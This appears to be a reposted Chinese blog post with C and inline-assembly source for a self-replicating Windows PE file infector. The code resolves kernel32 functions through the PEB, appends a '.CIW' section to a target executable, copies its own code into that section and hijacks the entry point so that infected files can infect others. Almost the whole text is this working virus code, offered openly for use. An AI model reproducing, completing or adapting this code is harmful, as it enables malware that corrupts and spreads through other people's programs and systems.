感染PE文件 -- (支持被感染的文件继续感染别的文件)


说明部分            
原帖:http://hi.baidu.com/ciw%5Fblue/blog/item/527fef260882db108b82a139.html  

1.改进了 Invoke函数 现在可以支持全局字符串 但是在第3个参数必须指定类型 和 printf中的%s,%d相似 s或S为字符串 

2.动态获取Kernel32.dll,LoadLibrary,GetProcAddress地址 

3.被感染的文件可以再感染

#include  < windows.h >

#pragma data_seg(
" .mydat "
#pragma code_seg(
" .shell " )
#pragma const_seg(
" .constdata " )
#pragma comment(linker,
" /SECTION:.mydat,RWE "
#pragma comment(linker,
" /SECTION:.shell,RWE " )
#pragma comment(linker,
" /SECTION:.constdata,RWE " )
#pragma comment(linker,
" /MERGE:.mydat=.shell " )
#pragma comment(linker,
" /MERGE:.constdata=.shell " )
#pragma comment(linker, 
" /OPT:NOWIN98 "
#pragma comment(linker, 
" /ENTRY:main " )   
#pragma comment(linker, 
" /subsystem:windows " )


#define  Recode(A) _asm call A _asm A: _asm pop ebx _asm lea eax, A _asm sub ebx, eax
#define  GetFunOffset(pFun) _asm mov eax, [ebx + pFun] _asm mov pFun, eax
#define  GetStringOffset(pStr) _asm mov eax, [pStr] _asm lea eax, [ebx + eax] _asm mov pStr, eax 
#define  GetGlobalVar(dwGlobalVar, dwLocalVar) _asm mov eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define  GetGlobalAddr(dwGlobalVar, dwLocalVar) _asm lea eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define  VA_END -2
#define  DOS IMAGE_DOS_HEADER
#define  NT IMAGE_NT_HEADERS
#define  SEC IMAGE_SECTION_HEADER
#define  MZ_FLAG 23117
#define  PE_FLAG 17744
#define  MY_SECTION_NAME_LENGTH 4
void  GetKernellFun();
void  CodeEnd() ;
int  Invoke( char *  pGlobalDllName,  char *  pGlobalFunName,  char *  pGlobalAgrFmt, );
typedef HINSTANCE (WINAPI 
* pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI 
* pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);
bool  Strcmp( char *  szSrc,  char *  szDes);
bool  InjectPe( char *  szInjectFileName,  bool );
DWORD dwOldEntry 
=   0 ;
char  szUser32[]  =   " User32.Dll " ;
char  szMessageBox[]  =   " MessageBoxA " ;
char  szKernel32[]  =   " Kernel32.Dll " ;
char  szExitProcess[]  =   " ExitProcess " ;
char  szText[]  =   " 真的要运行程序吗? " ;
char  szCaption[]  =   " CIW_BLUE Code " ;
char  szLoadLibrary[]  =   " LoadLibraryA " ;
char  szGetProcAddress[]  =   " GetProcAddress " ;
char  szMySectionName[]  =   " .CIW " ;
DWORD dwLoadLibrary 
=   0 ;
DWORD dwGetProcAddress 
=   0 ;

char  szInjectFileName[]  =   " C:\\1.exe " ;


int  main()
{
  Recode(A)
  GetKernellFun();
  DWORD dwOldAddr 
=   0 ;
  
char   * pInjectFileName  =  szInjectFileName;
  GetStringOffset(pInjectFileName);
  GetGlobalVar(dwOldEntry, dwOldAddr);
  
  
if (Invoke( " User32 " " MessageBoxA " " nssn " , NULL, szText, szCaption, MB_YESNO, VA_END)  ==  IDNO)
  {
    Invoke(szKernel32, szExitProcess, 
" n " 0 , VA_END);
  }

  InjectPe(pInjectFileName, 
0 );

  _asm
  { 
    cmp dwOldAddr, 
0
    jz NotJmp
    jmp dwOldAddr
NotJmp:
    
  }
  Invoke(szKernel32, szExitProcess, 
" n " 0 , VA_END);
  
return   0 ;
}
int  Invoke( char *  pGlobalDllName,  char *  pGlobalFunName,  char *  pGlobalAgrFmt, )
{
  Recode(A)
    
char * pTempFunName  =  pGlobalDllName;
  GetStringOffset(pGlobalDllName);
  GetStringOffset(pGlobalFunName);
  GetStringOffset(pGlobalAgrFmt);
  
  DWORD dwLoadLib 
=   0x7c800000 ;
  DWORD dwGetProcAddr 
=   0x7c800000 ;
  
  GetGlobalVar(dwLoadLibrary, dwLoadLib);
  GetGlobalVar(dwGetProcAddress, dwGetProcAddr);
  
  HMODULE hDll 
=  ((HMODULE(WINAPI * )( char * ))dwLoadLib)(pGlobalDllName);
  PROC dwFunAddr 
=  ((PROC(WINAPI * )(HMODULE, char * ))dwGetProcAddr)(hDll, pGlobalFunName);
  DWORD dwRet 
=   0 , j  =   0 ;
  DWORD dwParam[
128 ], dwParamTemp  =   0 ;
  DWORD dwParamLen 
=   0 ;
  va_list stVaList;
  
  va_start(stVaList, pGlobalAgrFmt);
  
while ((dwParam[dwParamLen ++ =  va_arg(stVaList,DWORD))  !=  VA_END);
  dwParamLen 
-=   2 ;
  
while (dwParamLen  !=   - 1 )
  {
    dwParamTemp 
=  dwParam[dwParamLen];
    
    
if (pGlobalAgrFmt[dwParamLen]  ==   ' s '   ||  pGlobalAgrFmt[dwParamLen]  ==   ' S ' )
      GetStringOffset(dwParamTemp);
    
    _asm push dwParamTemp
      
      dwParamLen
-- ;
  }
  _asm mov  eax, dwFunAddr
    _asm call eax
    _asm mov  dwRet,  eax
    va_end(stVaList);
  
return  dwRet;
}

void  GetKernellFun()
{
  Recode(A)
    
    
char *  pLoadLibrary  =  szLoadLibrary;
  
char *  pGetProcAddress  =  szGetProcAddress;
  DWORD dwFuncAddr 
=   0 ;
  
  GetStringOffset(pLoadLibrary);
  GetStringOffset(pGetProcAddress);
  
  IMAGE_DOS_HEADER
*  stDos;
  IMAGE_NT_HEADERS
*  stNT;
  IMAGE_DATA_DIRECTORY
*  stDatDir  =   0 ;
  IMAGE_EXPORT_DIRECTORY
*  stEPT;
  
  DWORD dwKernelBase 
=   0 ;
  _asm
  {
    mov eax,dword ptr fs:[30h]
      mov eax,dword ptr [eax
+ 0Ch]
      mov esi,dword ptr [eax
+ 1Ch]
      lods dword ptr [esi]
      mov eax,dword ptr [eax
+ 08h]
      mov dwKernelBase, eax
  }
  
  
char   * pBase  =  ( char * )dwKernelBase;
  stDos 
=  (IMAGE_DOS_HEADER * )dwKernelBase;
  
  stNT 
=  (IMAGE_NT_HEADERS * )(pBase  +  stDos -> e_lfanew);
  
  stDatDir 
=   & stNT -> OptionalHeader.DataDirectory[ 0 ];
  
  stEPT 
=  (IMAGE_EXPORT_DIRECTORY * )(pBase  +  stDatDir -> VirtualAddress);
  
  DWORD
*  dwFunAddr  =  (DWORD * )(pBase  +  stEPT -> AddressOfFunctions);
  DWORD
*  dwAddr  =  (DWORD * )(pBase  +  stEPT -> AddressOfNames);
  WORD
*  dwAddr1  =  (WORD * )(pBase  +  stEPT -> AddressOfNameOrdinals);
  
  
for ( int  i  =   0 ; i  <  stEPT -> NumberOfNames; i ++ )
  {
    
if (Strcmp(pBase  +  dwAddr[i], pLoadLibrary)  ==   0 )
      
break ;
  }
  dwFuncAddr 
=  dwFunAddr[i];
  _asm
  {
    Recode(B)
      mov  eax, dwFuncAddr
      add eax, dwKernelBase
      mov [ebx 
+  dwLoadLibrary], eax
  }
  
  
  
for (i  =   0 ; i  <  stEPT -> NumberOfNames; i ++ )
  {
    
if (Strcmp(pBase  +  dwAddr[i], pGetProcAddress)  ==   0 )
      
break ;
  }
  dwFuncAddr 
=  dwFunAddr[i];
  _asm
  {
    Recode(C)
      mov  eax, dwFuncAddr
      add eax, dwKernelBase
      mov [ebx 
+  dwGetProcAddress], eax
  }
}

bool  Strcmp( char *  szSrc,  char *  szDes)
{
  
while ( * szSrc  &&   * szDes  &&   * szSrc  ==   * szDes)
  {
    szSrc
++ , szDes ++ ;
  }
  
return   * szSrc  -   * szDes;
}


void  Strcpy( char   * szDesStr,  char   * szSrcStr)
{
  
while * szSrcStr )
    
* szDesStr  ++   =   * szSrcStr  ++ ;
  
* szDesStr  =   0 ;
}
bool  IsPeFile(PVOID pPeBase)
{
  IMAGE_DOS_HEADER
*  stDos  =  (DOS * )pPeBase;
  IMAGE_NT_HEADERS
*  stNT  =  (NT * )(( char * )pPeBase  +  stDos -> e_lfanew);
  
if (stDos -> e_magic  !=  MZ_FLAG)
    
return   false ;
  
  
if (stNT -> Signature  !=  PE_FLAG)
    
return   false ;
  
  
return   true ;
}

int  Align( int  nSize,  int  n)
{
  
if (nSize  %  n)
    
return  (nSize  /  n  +   1 *  n;
  
  
return  nSize;
}

bool  InjectPe( char *  szInjectFileName,  bool  bFlag)
{
  Recode(A)
  
char *  pMySectionName  =  szMySectionName;
  DWORD dwCodeSize 
=  (DWORD)CodeEnd  -  (DWORD) & dwOldEntry, dwSize  =   0 , dwOldEntry1  =   0 , dwOldAddr  =   0 ;
  GetStringOffset(pMySectionName);

  Recode(B)
GetGlobalAddr(dwOldEntry, dwOldAddr);
  GetKernellFun();
  HANDLE hFile 
=  (HANDLE)Invoke( " Kernel32.dll " " CreateFileA " " snnnnnn " , ::szInjectFileName, GENERIC_READ  |  FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL, VA_END);
  HANDLE hMapFile 
=  (HANDLE)Invoke( " Kernel32 " " CreateFileMappingA " " nnnnnn " , hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL, VA_END);
  PVOID pFile 
=  (PVOID)Invoke( " Kernel32 " " MapViewOfFile " " nnnnnn " , hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL, VA_END);
  
if ( ! pFile)
    
return   0 ;
  
if ( ! IsPeFile(pFile))
    
return   0 ;
  IMAGE_NT_HEADERS
*  stNT  =  (NT * )(( char * )pFile  +  ((DOS * )pFile) -> e_lfanew);
  
  IMAGE_SECTION_HEADER
*  stSec  =  (SEC * )(( char * )pFile  +  ((DOS * )pFile) -> e_lfanew  +   sizeof (NT));
  
  
for ( int  i  =   0 ; i  <  stNT -> FileHeader.NumberOfSections; i ++ )
    
if ( ! Strcmp(( char * )stSec[i].Name, pMySectionName))
      
return   0 ;
    
    stSec 
=  (SEC * )(( char * )pFile  +  ((DOS * )pFile) -> e_lfanew  +   sizeof (NT));
    IMAGE_SECTION_HEADER
*  stLastSec  =   & stSec[stNT -> FileHeader.NumberOfSections  -   1 ];
    IMAGE_SECTION_HEADER
*  stNewSec  =   & stSec[stNT -> FileHeader.NumberOfSections];
    DWORD dwFileAlign 
=  stNT -> OptionalHeader.FileAlignment;
    DWORD dwCodeAlign 
=  stNT -> OptionalHeader.SectionAlignment;
    
    stNT
-> FileHeader.NumberOfSections  =  stNT -> FileHeader.NumberOfSections  +   1 ;
    
    Strcpy((
char * )stNewSec -> Name, pMySectionName);
    stNewSec
-> Characteristics  =  IMAGE_SCN_MEM_EXECUTE  |  IMAGE_SCN_CNT_CODE  |  IMAGE_SCN_MEM_READ  |  IMAGE_SCN_MEM_WRITE ;
    stNewSec
-> VirtualAddress  =  stLastSec -> VirtualAddress  +  Align(stLastSec -> Misc.VirtualSize, dwCodeAlign);
    stNewSec
-> PointerToRawData  =  stLastSec -> PointerToRawData  +  stLastSec -> SizeOfRawData;
    stNewSec
-> SizeOfRawData  =  Align(dwCodeSize, dwFileAlign);
    stNewSec
-> Misc.VirtualSize  =  Align(dwCodeSize, dwCodeAlign);
     
    stNT
-> OptionalHeader.SizeOfCode  +=  stNewSec -> Misc.VirtualSize;
    stNT
-> OptionalHeader.SizeOfImage  +=  stNewSec -> Misc.VirtualSize;
    
    Invoke(
" Kernel32 " " SetFilePointer " " nnnn " , hFile, stNewSec -> PointerToRawData, NULL, FILE_BEGIN, VA_END); 

    Invoke(
" Kernel32 " " WriteFile " " nnnnn " , hFile, dwOldAddr, stNewSec -> Misc.VirtualSize,  & dwSize, NULL, VA_END);

    Invoke(
" Kernel32 " " SetEndOfFile " " n " , hFile, VA_END);

    dwOldEntry1 
=  stNT -> OptionalHeader.AddressOfEntryPoint  +  stNT -> OptionalHeader.ImageBase;
    Invoke(
" Kernel32 " " SetFilePointer " " nnnn " , hFile, stNewSec -> PointerToRawData, NULL, FILE_BEGIN, VA_END);
    Invoke(
" Kernel32 " " WriteFile " " nnnnn " , hFile,  & dwOldEntry1 ,  4 & dwSize, NULL, VA_END);

    stNT
-> OptionalHeader.AddressOfEntryPoint  =  stNewSec -> VirtualAddress  +  (DWORD)main  -  (DWORD) & dwOldEntry;
    
    Invoke(
" Kernel32 " " FlushViewOfFile " " nn " , pFile, stNT -> OptionalHeader.SizeOfHeaders, VA_END);
    
    Invoke(
" Kernel32 " " UnmapViewOfFile " " n " , pFile, VA_END);
    Invoke(
" Kernel32 " " CloseHandle " " n " , hMapFile, VA_END);
    Invoke(
" Kernel32 " " CloseHandle " " n " , hFile, VA_END); 
    
return   true ;
}   



void  CodeEnd() 
{

你可能感兴趣的:( 感染PE文件 -- (支持被感染的文件继续感染别的文件))